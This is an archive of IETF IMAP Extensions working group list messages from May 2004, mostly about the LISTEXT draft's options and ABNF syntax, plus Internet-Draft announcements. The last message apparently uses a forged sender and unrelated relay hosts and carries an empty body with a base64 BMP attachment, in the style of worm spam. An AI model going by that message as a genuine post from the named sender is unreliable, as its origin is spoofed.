correct -- I haven't verified it). -- Kenneth Murchison Oceana Matrix Ltd. Software Engineer 21 Princeton Place 716-662-8973 x26 Orchard Park, NY 14127 --PGP Public Key-- http://www.oceana.com/~ken/ksm.pgp Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4BGusvV036036; Tue, 11 May 2004 09:56:54 -0700 (PDT) (envelope-from owner-ietf-imapext@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i4BGusgi036035; Tue, 11 May 2004 09:56:54 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-imapext@mail.imc.org using -f Received: from eagle.oceana.com (eagle.oceana.com [208.17.123.12]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4BGurub036024 for ; Tue, 11 May 2004 09:56:53 -0700 (PDT) (envelope-from ken@oceana.com) Received: from oceana.com (KEN.oceana.com [192.168.10.26]) by eagle.oceana.com (8.12.11/8.12.11) with ESMTP id i4BGul07013779; Tue, 11 May 2004 12:56:47 -0400 (EDT) Message-ID: <40A10601.10103@oceana.com> Date: Tue, 11 May 2004 12:57:37 -0400 From: Ken Murchison Organization: Oceana Matrix Ltd. User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7b) Gecko/20040421 X-Accept-Language: en,pdf MIME-Version: 1.0 To: Alexey Melnikov CC: IMAP Extensions WG Subject: Re: Collected issues with LISTEXT References: <407955E1.90005@isode.com> <409E0940.1030909@isode.com> In-Reply-To: <409E0940.1030909@isode.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 21 (NEW_DOMAIN_EXTENSIONS) X-Scanned-By: MIMEDefang 2.39 Sender: owner-ietf-imapext@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: Alexey Melnikov wrote: > > I've changed my mind about the CHILDREN option (\HasNoChildren might > have some value), so I can live with it being part of LISTEXT. > > So, I propose to have single capability for LISTEXT that includes > support for 3 options: SUBSCRIBED, CHILDREN and REMOTE. So, the LIST-SUBSCRIBED capability goes away? Is there any interaction between CHILDREN, REMOTE and their relevent RFC's? >> 2). Discussion about CHILDREN/LISTEXT interaction. If the server >> should advertise CHILDREN if it supports LISTEXT. And how a client >> that only supports CHILDREN will work with a LISTEXT server. This is >> somewhat related to 1). >> >> (I don't have any opinion on this. Should I start a new thread and >> post a digest of issues here?) > > > I suggest no action. > >> 3). Extending LIST syntax to allow for additional parameter to a list >> option, e.g. something like LIST (SORT (NAME DATE)) "" % >> >> No requirement for this right now, can be done later on. If you feel >> strongly about this speak up now! > > > Leave this for later. Cyrus supports both CHILDREN and LISTEXT, and if the client uses LIST syntax, is always returns CHILDREN info (per the RFC). If the client uses LISTEXT syntax, then it only gets CHILDREN info if the client asked for it. >> 5). Allow for referral information to be returned in response to LIST >> (REFERRAL). >> >> Suggestion: add REFERRAL LIST option and response data to the LISTEXT >> document, no new capability for this. Reason: referral data can be >> returned for a locally renamed mailbox (i.e. NEWNAME response code >> replacement), no need to support RFC 2193 for this. If the server >> doesn't support referrals of any sort, this option will be ignored. > > > I am not sure if I've convinced Cyrus about usability of this. > In order to speed up publication of LISTEXT I suggest that this can be > done as a new extension. > > However I would suggest to do an ABNF change to allow for REFERRAL > syntax that I've proposed earlier. I will post a separate message on this. No argument here. > >> Related to this: do a revision of RFC 2193 that is using LISTEXT >> framework (in particular obsolete RLIST/RLSUB). >> >> So, LISTEXT capability will mean: support for LIST option syntax, >> support for \PlaceHolder and \NonExistent flags, support for >> SUBSCRIBED/REMOTE/REFERRAL options (and maybe support for CHILDREN). > > > LISTEXT capability will mean: support for LIST option syntax, support > for \PlaceHolder and \NonExistent flags, support for > SUBSCRIBED/REMOTE/CHILDREN options. So, REMOTE is always supported independent of RFC 2193 support? -- Kenneth Murchison Oceana Matrix Ltd. Software Engineer 21 Princeton Place 716-662-8973 x26 Orchard Park, NY 14127 --PGP Public Key-- http://www.oceana.com/~ken/ksm.pgp Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4BGPg5g032421; Tue, 11 May 2004 09:25:42 -0700 (PDT) (envelope-from owner-ietf-imapext@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i4BGPguE032420; Tue, 11 May 2004 09:25:42 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-imapext@mail.imc.org using -f Received: from kahuna.osafoundation.org (kahuna.osafoundation.org [204.152.186.98]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4BGPf1s032410 for ; Tue, 11 May 2004 09:25:41 -0700 (PDT) (envelope-from lisa@osafoundation.org) X-Envelope-From: lisa@osafoundation.org X-Envelope-To: ietf-imapext@imc.org Received: from [192.168.101.178] (w002.z065106067.sjc-ca.dsl.cnc.net [65.106.67.2]) (authenticated bits=0) by kahuna.osafoundation.org (8.12.8/8.12.8) with ESMTP id i4BGP6JL029096 (version=TLSv1/SSLv3 cipher=RC4-SHA bits=128 verify=NO); Tue, 11 May 2004 09:25:07 -0700 Mime-Version: 1.0 (Apple Message framework v613) Content-Type: text/plain; charset=US-ASCII; format=flowed Message-Id: Content-Transfer-Encoding: 7bit Cc: Chris Newman From: Lisa Dusseault Subject: Found editor for i18n draft Date: Tue, 11 May 2004 09:25:34 -0700 To: IMAP Extensions WG X-Mailer: Apple Mail (2.613) X-Scanned-By: MIMEDefang 2.39 Sender: owner-ietf-imapext@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: Arnt Gulbrandsen has volunteered to take on the i18n draft that's currently a blocking WG item and we gratefully accepted. Thanks Arnt! --lisa Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i49ClHD5087787; Sun, 9 May 2004 05:47:17 -0700 (PDT) (envelope-from owner-ietf-imapext@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i49ClHZD087786; Sun, 9 May 2004 05:47:17 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-imapext@mail.imc.org using -f Received: from rufus.isode.com (rufus.isode.com [62.3.217.251]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i49ClFGA087771 for ; Sun, 9 May 2004 05:47:16 -0700 (PDT) (envelope-from Alexey.Melnikov@isode.com) Received: from isode.com (shiny.isode.com [62.3.217.250]) by rufus.isode.com via TCP (with SMTP (internal)) with ESMTPA; Sun, 9 May 2004 13:47:14 +0100 Message-ID: <409E1480.2010402@isode.com> Date: Sun, 09 May 2004 12:22:40 +0100 From: Alexey Melnikov User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.4) Gecko/20030624 Netscape/7.1 (ax) X-Accept-Language: en-us, en MIME-Version: 1.0 To: IMAP Extensions WG Subject: Short summary of LISTEXT changes References: <407955E1.90005@isode.com> <409E0940.1030909@isode.com> In-Reply-To: <409E0940.1030909@isode.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-ietf-imapext@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: I would like to do 2 changes to the document before asking for Last Call: 1). Add a short clarification paragraph that describes what LISTEXT is: support for LIST option syntax, support for \PlaceHolder and \NonExistent flags, support for SUBSCRIBED/REMOTE/CHILDREN options. 2). Change ABNF from: mailbox-list = "(" [mbx-list-flags] ")" SP (DQUOTE QUOTED-CHAR DQUOTE / nil) SP mailbox [SP mbox-list-extended] mbox-list-extended = "(" [mbox-list-extended-item *(SP mbox-list-extended-item)] ")" mbox-list-extended-item = "(" string SP (nstring / mbox-list-extended-item) ")" / mailbox-list-extended to: mailbox-list = "(" [mbx-list-flags] ")" SP (DQUOTE QUOTED-CHAR DQUOTE / nil) SP mailbox [SP mbox-list-extended] (mailbox-list hasn't been changed) mbox-list-extended = "(" [mbox-list-extended-item *(SP mbox-list-extended-item)] ")" mbox-list-extended-item = "(" mbox-list-extended-item-data ")" / mailbox-list-extended mbox-list-extended-item-data = string SP (nstring / simple-nstring-list / mbox-list-extended-item) simple-nstring-list = "(" nstring *(SP nstring) ")" ;; two or more nstrings grouped in parentheses This is done to allow for REFERRAL syntax that I've suggested earlier: referral_data = "REFERRAL" SP "(" urlstring *(SP urlstring) ")" urlstring = <"> url <"> ; See [RFC-1738] for definition where referral_data matches mbox-list-extended-item-data ABNF production. Alexey Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i49ClGQ0087778; Sun, 9 May 2004 05:47:16 -0700 (PDT) (envelope-from owner-ietf-imapext@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i49ClGJC087777; Sun, 9 May 2004 05:47:16 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-imapext@mail.imc.org using -f Received: from rufus.isode.com (rufus.isode.com [62.3.217.251]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i49ClFG9087771 for ; Sun, 9 May 2004 05:47:15 -0700 (PDT) (envelope-from Alexey.Melnikov@isode.com) Received: from isode.com (shiny.isode.com [62.3.217.250]) by rufus.isode.com via TCP (with SMTP (internal)) with ESMTPA; Sun, 9 May 2004 13:47:14 +0100 Message-ID: <409E0940.1030909@isode.com> Date: Sun, 09 May 2004 11:34:40 +0100 From: Alexey Melnikov User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.4) Gecko/20030624 Netscape/7.1 (ax) X-Accept-Language: en-us, en MIME-Version: 1.0 To: IMAP Extensions WG Subject: Re: Collected issues with LISTEXT References: <407955E1.90005@isode.com> In-Reply-To: <407955E1.90005@isode.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-ietf-imapext@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: Ok, I haven't seen much discussion on the list of LISTEXT issues recently, so I am proposing a plan to move forward with the document. Alexey Melnikov wrote: > Hi everyone, > Below is the list of issues raised for LISTEXT document in the last > couple of years. With each issue I am giving my personal suggestion > what to do. > > 1) One LISTEXT capability versa LIST-CHILDREN, LIST-SUBSCRIBED, > LIST-REMOTE > > Suggestion: no LIST-REMOTE capability (for servers that don't support > remote mailboxes REMOTE option to the LIST command is ignored). > Do a separate revision of RFC 2193 (RFC 2193 - informative reference > for LISTEXT). > > Mark agreed earlier to support LIST (SUBSCRIBED) as a part of LISTEXT > (no new capability). > > I personally don't like CHILDREN, so I would like to see LIST-CHILDREN > capability, as was suggested by Mark. But I can live with it being > part of the LISTEXT extension. I've changed my mind about the CHILDREN option (\HasNoChildren might have some value), so I can live with it being part of LISTEXT. So, I propose to have single capability for LISTEXT that includes support for 3 options: SUBSCRIBED, CHILDREN and REMOTE. > (Related to this) Ken proposed: > Using to detect LISTEXT extensions: > > . LIST () "" "" > * LIST (SUBSCRIBED CHILDREN ACL2) "." "" I've heard no opinions on this. If you really want/don't want this functionality, speak up now. > Cyrus proposed: > CAPABILITYPLUS > > I would rather not delay LISTEXT any further by making it a dependency > of CAPABILITYPLUS. > But if the WG feels that Ken proposal is useful, this should be added > to LISTEXT. I think Ken's proposal doesn't preclude any future work on > CAPABILITYPLUS. Leave this for later. > 2). Discussion about CHILDREN/LISTEXT interaction. If the server > should advertise CHILDREN if it supports LISTEXT. And how a client > that only supports CHILDREN will work with a LISTEXT server. This is > somewhat related to 1). > > (I don't have any opinion on this. Should I start a new thread and > post a digest of issues here?) I suggest no action. > 3). Extending LIST syntax to allow for additional parameter to a list > option, e.g. something like LIST (SORT (NAME DATE)) "" % > > No requirement for this right now, can be done later on. If you feel > strongly about this speak up now! Leave this for later. > 4). Add more examples? I think this might be a good idea, considering > the amount of questions on the mailing list regarding different flag > combinations > for different options. I suggest no action. If you want to add some examples which are not in the document now, let me know. > 5). Allow for referral information to be returned in response to LIST > (REFERRAL). > > Suggestion: add REFERRAL LIST option and response data to the LISTEXT > document, no new capability for this. Reason: referral data can be > returned for a locally renamed mailbox (i.e. NEWNAME response code > replacement), no need to support RFC 2193 for this. If the server > doesn't support referrals of any sort, this option will be ignored. I am not sure if I've convinced Cyrus about usability of this. In order to speed up publication of LISTEXT I suggest that this can be done as a new extension. However I would suggest to do an ABNF change to allow for REFERRAL syntax that I've proposed earlier. I will post a separate message on this. > Related to this: do a revision of RFC 2193 that is using LISTEXT > framework (in particular obsolete RLIST/RLSUB). > > So, LISTEXT capability will mean: support for LIST option syntax, > support for \PlaceHolder and \NonExistent flags, support for > SUBSCRIBED/REMOTE/REFERRAL options (and maybe support for CHILDREN). LISTEXT capability will mean: support for LIST option syntax, support for \PlaceHolder and \NonExistent flags, support for SUBSCRIBED/REMOTE/CHILDREN options. Alexey Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i46FPWHX076631; Thu, 6 May 2004 08:25:33 -0700 (PDT) (envelope-from owner-ietf-imapext@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i46FPWgZ076630; Thu, 6 May 2004 08:25:32 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-imapext@mail.imc.org using -f Received: from ietf.org (odin.ietf.org [132.151.1.176]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i46FPWqT076624 for ; Thu, 6 May 2004 08:25:32 -0700 (PDT) (envelope-from dinaras@cnri.reston.va.us) Received: from CNRI.Reston.VA.US (localhost [127.0.0.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA20012; Thu, 6 May 2004 11:25:32 -0400 (EDT) Message-Id: <200405061525.LAA20012@ietf.org> Mime-Version: 1.0 Content-Type: Multipart/Mixed; Boundary="NextPart" To: i-d-announce@ietf.org Cc: ietf-imapext@imc.org From: Internet-Drafts@ietf.org Subject: I-D ACTION:draft-ietf-imapext-sort-16.txt Date: Thu, 06 May 2004 11:25:32 -0400 Sender: owner-ietf-imapext@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: --NextPart A New Internet-Draft is available from the on-line Internet-Drafts directories. This draft is a work item of the Internet Message Access Protocol Extension Working Group of the IETF. Title : INTERNET MESSAGE ACCESS PROTOCOL - SORT AND THREAD EXTENSION Author(s) : M. Crispin, K. Murchison Filename : draft-ietf-imapext-sort-16.txt Pages : 0 Date : 2004-5-4 This document describes the base-level server-based sorting and threading extensions to the [IMAP] protocol. These extensions provide substantial performance improvements for IMAP clients which offer sorted and threaded views. A URL for this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-ietf-imapext-sort-16.txt To remove yourself from the I-D Announcement list, send a message to i-d-announce-request@ietf.org with the word unsubscribe in the body of the message. You can also visit https://www1.ietf.org/mailman/listinfo/I-D-announce to change your subscription settings. Internet-Drafts are also available by anonymous FTP. Login with the username "anonymous" and a password of your e-mail address. After logging in, type "cd internet-drafts" and then "get draft-ietf-imapext-sort-16.txt". A list of Internet-Drafts directories can be found in http://www.ietf.org/shadow.html or ftp://ftp.ietf.org/ietf/1shadow-sites.txt Internet-Drafts can also be obtained by e-mail. Send a message to: mailserv@ietf.org. In the body type: "FILE /internet-drafts/draft-ietf-imapext-sort-16.txt". NOTE: The mail server at ietf.org can return the document in MIME-encoded form by using the "mpack" utility. To use this feature, insert the command "ENCODING mime" before the "FILE" command. To decode the response(s), you will need "munpack" or a MIME-compliant mail reader. Different MIME-compliant mail readers exhibit different behavior, especially when dealing with "multipart" MIME messages (i.e. documents which have been split up into multiple messages), so check your local documentation on how to manipulate these messages. Below is the data which will enable a MIME compliant mail reader implementation to automatically retrieve the ASCII version of the Internet-Draft. --NextPart Content-Type: Multipart/Alternative; Boundary="OtherAccess" --OtherAccess Content-Type: Message/External-body; access-type="mail-server"; server="mailserv@ietf.org" Content-Type: text/plain Content-ID: <2004-5-6113344.I-D@ietf.org> ENCODING mime FILE /internet-drafts/draft-ietf-imapext-sort-16.txt --OtherAccess Content-Type: Message/External-body; name="draft-ietf-imapext-sort-16.txt"; site="ftp.ietf.org"; access-type="anon-ftp"; directory="internet-drafts" Content-Type: text/plain Content-ID: <2004-5-6113344.I-D@ietf.org> --OtherAccess-- --NextPart-- Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4SJipS2042781; Fri, 28 May 2004 12:44:51 -0700 (PDT) (envelope-from owner-ietf-imapext@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i4SJipkd042780; Fri, 28 May 2004 12:44:51 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-imapext@mail.imc.org using -f Received: from ietf.org (odin.ietf.org [132.151.1.176]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4SJioLV042773 for ; Fri, 28 May 2004 12:44:51 -0700 (PDT) (envelope-from dinaras@cnri.reston.va.us) Received: from CNRI.Reston.VA.US (localhost [127.0.0.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA28256; Fri, 28 May 2004 15:44:52 -0400 (EDT) Message-Id: <200405281944.PAA28256@ietf.org> Mime-Version: 1.0 Content-Type: Multipart/Mixed; Boundary="NextPart" To: i-d-announce@ietf.org Cc: ietf-imapext@imc.org From: Internet-Drafts@ietf.org Subject: I-D ACTION:draft-ietf-imapext-i18n-02.txt Date: Fri, 28 May 2004 15:44:52 -0400 Sender: owner-ietf-imapext@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: --NextPart A New Internet-Draft is available from the on-line Internet-Drafts directories. This draft is a work item of the Internet Message Access Protocol Extension Working Group of the IETF. Title : Internet Message Access Protocol Internationalization Author(s) : C. Newman, A. Gulbrandsen Filename : draft-ietf-imapext-i18n-02.txt Pages : 17 Date : 2004-5-28 Internet Message Access Protocol (IMAP) version 4rev1 has basic support for non-ASCII characters in mailbox names and search substrings. It also supports non-ASCII message headers and content encoded as specified by Multipurpose Internet Mail Extensions (MIME). This specification defines a collection of IMAP extensions which improve international support including comparator negotiation for search, sort and thread, language negotiation for international error text, and translations for namespace prefixes. A URL for this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-ietf-imapext-i18n-02.txt To remove yourself from the I-D Announcement list, send a message to i-d-announce-request@ietf.org with the word unsubscribe in the body of the message. You can also visit https://www1.ietf.org/mailman/listinfo/I-D-announce to change your subscription settings. Internet-Drafts are also available by anonymous FTP. Login with the username "anonymous" and a password of your e-mail address. After logging in, type "cd internet-drafts" and then "get draft-ietf-imapext-i18n-02.txt". A list of Internet-Drafts directories can be found in http://www.ietf.org/shadow.html or ftp://ftp.ietf.org/ietf/1shadow-sites.txt Internet-Drafts can also be obtained by e-mail. Send a message to: mailserv@ietf.org. In the body type: "FILE /internet-drafts/draft-ietf-imapext-i18n-02.txt". NOTE: The mail server at ietf.org can return the document in MIME-encoded form by using the "mpack" utility. To use this feature, insert the command "ENCODING mime" before the "FILE" command. To decode the response(s), you will need "munpack" or a MIME-compliant mail reader. Different MIME-compliant mail readers exhibit different behavior, especially when dealing with "multipart" MIME messages (i.e. documents which have been split up into multiple messages), so check your local documentation on how to manipulate these messages. Below is the data which will enable a MIME compliant mail reader implementation to automatically retrieve the ASCII version of the Internet-Draft. --NextPart Content-Type: Multipart/Alternative; Boundary="OtherAccess" --OtherAccess Content-Type: Message/External-body; access-type="mail-server"; server="mailserv@ietf.org" Content-Type: text/plain Content-ID: <2004-5-28160826.I-D@ietf.org> ENCODING mime FILE /internet-drafts/draft-ietf-imapext-i18n-02.txt --OtherAccess Content-Type: Message/External-body; name="draft-ietf-imapext-i18n-02.txt"; site="ftp.ietf.org"; access-type="anon-ftp"; directory="internet-drafts" Content-Type: text/plain Content-ID: <2004-5-28160826.I-D@ietf.org> --OtherAccess-- --NextPart-- Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4SE9KpV002061; Fri, 28 May 2004 07:09:20 -0700 (PDT) (envelope-from owner-ietf-imapext@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i4SE9KS3002060; Fri, 28 May 2004 07:09:20 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-imapext@mail.imc.org using -f Received: from gab54-1.org (fwdoc.estig.ipb.pt [193.136.195.3]) by above.proper.com (8.12.11/8.12.9) with SMTP id i4SE9Hf3002037 for ; Fri, 28 May 2004 07:09:18 -0700 (PDT) (envelope-from presnick@qualcomm.com) Date: Fri, 28 May 2004 15:14:59 +0000 To: "Ietf-imapext" From: "Presnick" Subject: Re: Thanks :) Message-ID: MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="--------spibhuwzrsuvwnbmmuzu" Sender: owner-ietf-imapext@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: ----------spibhuwzrsuvwnbmmuzu Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: 7bit
----------spibhuwzrsuvwnbmmuzu Content-Type: image/bmp; name="jkjlrxlxyr.bmp" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="jkjlrxlxyr.bmp" Content-ID: Qk2eDwAAAAAAADYAAAAoAAAAcwAAABEAAAABABAAAAAAAGgPAAAAAAAAAAAAAAAAAAAAAAAA /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//38AAP9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/AAD/f/9//3//f/9/ICsgKyArICsgKyAr ICsgKyArICsgKyArICsgKyArICsgKyArICsgKyArICsgKyArICsgKyArICsgKyArICsgKyAr ICsgKyArICsgKyArICsgKyArICsgKyArICsgKyArICsgKyArICsgKyArICsgKyArICsgKyAr ICsgKyArICsgKyArICsgKyArICsgKyArICsgKyArICsgKyArICsgKyArICsgKyArICsgKyAr ICsgKyArICsgKyArICsgKyArICsgKyArICsgKyArICsgK/9//3//f/9//3//fwAA/3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//38AAP9//3//f/9//3//fyArICv/f/9//3//f/9//3//f9lvaUNpQ7VjICsgK/9/ /XeyWyArICuPU9x3/XeyWyArICuPU9x3/3//f2lDICu3Z/9/2GsgK2lD/3//f/9//3+1Y2lD aUO1Y/9//3//fyArICv/f/9//3//f5FXaUPZbyArICv/f/9/ICsgK/9//3//f/9//3/cd5FX ICtpQ7Vj/3//f/9//3//fyArICv/f/9//3+0XyArICu0X/9//3//f/9//38gKyAr/3//f2lD ICsgKyArICsgK/9//3//f/9//3//f/9/AAD/f/9//3//f/9//38gKyAr/3//f/9//3//f/9/ /39pQyAr3HfYayArICv/f49TICvcd/13ICtsS49TICvcd/13ICtsS/9/3HcgKyArkVf/f7Jb ICsgK9x3/3//f7dnICvYa9hrICu3Z/9//38gKyAr/3//f/9/tF8gK9hrt2cgKyAr/3//fyAr ICv/f/9//3//f/9/j1MgK9x32GsgK7Rf/3//f/9//38gKyAr/3//f7RfICvYa9pvICu0X/9/ /3//f/9/ICsgK/9//3+0XyAr2Gv/f/9//3//f/9//3//f/9//3//fwAA/3//f/9//3//f/9/ ICsgK/9//3//f/9//3//f/9/ICsgK/9//38gKyAr/3//f/9/2m+0XyAraUP/f/9/2m+0XyAr aUP/f7VjICsgKyAr/38gKyArICu1Y/9//39sSyAr/3//fyArbEv/f/9/ICsgK/9//3//f2lD ICv/f/9/ICsgK/9//3//f/9//3//f/9//3//f/9//3//f/9/ICtpQ/9//3//f/9/ICsgK/9/ /38gKyAr/3//fyArICv/fyArICsgKyArICsgK/9//XcgK2lD3Hf/f/9//3//f/9//3//f/9/ /38AAP9//3//f/9//3//fyArICv/f/9//3//f/9//3//f9lvICuyW9x3ICsgK/9/2W9pQyAr ICtpQ9lv2W9pQyArICtpQ9lv/39sSyAr2W8gK7dnICvabyArbEv/f/9/ICsgK/9//38gKyAr /3//fyArICv/f/9//38gKyAr/3//fyArICv/f/9//3//f/9//3//f/9//3//f/9//3//fyAr ICv/f/9//3//fyArICv/f/9/aUMgK/9//38gKyAr/3+RV9lv/38gKyAr/3//f/9/2GsgK2lD /3//f/9//3//f/9//3//f/9/AAD/f/9//3//f/9//38gKyArICsgKyArtF//f/9//3//f9tz tWOPUyArICv/f2lDICuPU9lv/3//f2lDICuPU9lv/3//f9x3ICuPU/9/ICsgK2lD/3+PUyAr 3Hf/f2xLICv/f/9/ICtsS/9//38gKyAr/3//f/9/aUMgK/9//38gKyAr/3//f/9//3//f/9/ /3//f/9//3//f/9//38gK2lD/3//f/9//38gKyAr/3//f7VjICvab9lvICu1Y/9/2m+RV/9/ ICsgK/9//3//f/9/kVcgK5FX/3//f/9//3//f/9//3//fwAA/3//f/9//3//f/9/ICsgK/9/ /3+3ZyArtF//f/9/j1Pab/9/3HcgK2lD/39sSyAr/3/cdyArj1NsSyAr/3/cdyArj1O1YyAr 2Gv/f5FXICuyW/9/2GsgK7Vj/3+3ZyAr2GvYayArt2f/f/9/ICsgK9pv/3//f7RfICvYa7Rf ICsgK/9//38gKyAr/3//f/9//3//f5FXICvcd9hrICu0X/9//3//f/9/ICsgK/9//3//f2xL ICsgKyAr/Xf/f/9/bEvbcyArICv/f/9//3//f/9/bEsgK9hr/3//f/9//3//f/9//38AAP9/ /3//f/9//3//fyArICv/f/9//38gKyAr/3//f9x3kVcgKyArbEvab/9/3HePUyArICuRV9x3 3HePUyArICuRV9x3bEsgK/13/3+3ZyAr2W//f/9/ICtsS/9//3+1Y2lDICu1Y/9//3//fyAr ICuRV49T/3//f5FXbEvZbyArICv/f/9/ICsgK/9//3//f/9//3+RVyAraUMgK5FX/3//f/9/ kVf/fyArICv/f/9/slsgK9tz23MgK7Rf/3//f9lvtF8gKyAr/3//f/9//3//f9tzICtpQ/9/ /3//f/9//3//f/9/AAD/f/9//3//f/9//38gKyAr/3//f/9/ICsgK/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//38gKyAr/3//f/9//3//f/9//3//f/9/ t2cgK9lv/3//f/9//3//fyArj1MgKyAr/3//fyArICv/f/9/ICsgK/9//3//f2xLICsgK/9/ /3//f/9//3//fyArICv/f/9//3//f/9//3//fwAA/3//f/9//3//f/9/ICsgK/9//3/YayAr slv/f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ICsgK/9/ /3//f/9//3//f/9//3//f9pvICuyW/9//3//f/9//3/cd5FXICsgK/9//3+RVyAr23PbcyAr kVf/f/9//3/YayArICv/f/9/bEsgK9x33HcgK7Rf/3//f/9//3//f/9//38AAP9//3//f/9/ /3//fyArICsgKyArICuyW/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//fyArICv/f/9//3//f/9//3//f/9//3/9dyArICsgKyArICv/f/9//3//f7Jb ICv/f/9/3HeyWyArICuyW/13/3//f/9//39pQyAr/3//f9x3j1MgKyArtF//f/9//3//f/9/ /3//f/9/AAD/f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//fwAA/3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//38AAP9//3//f/9//3//f/9/ 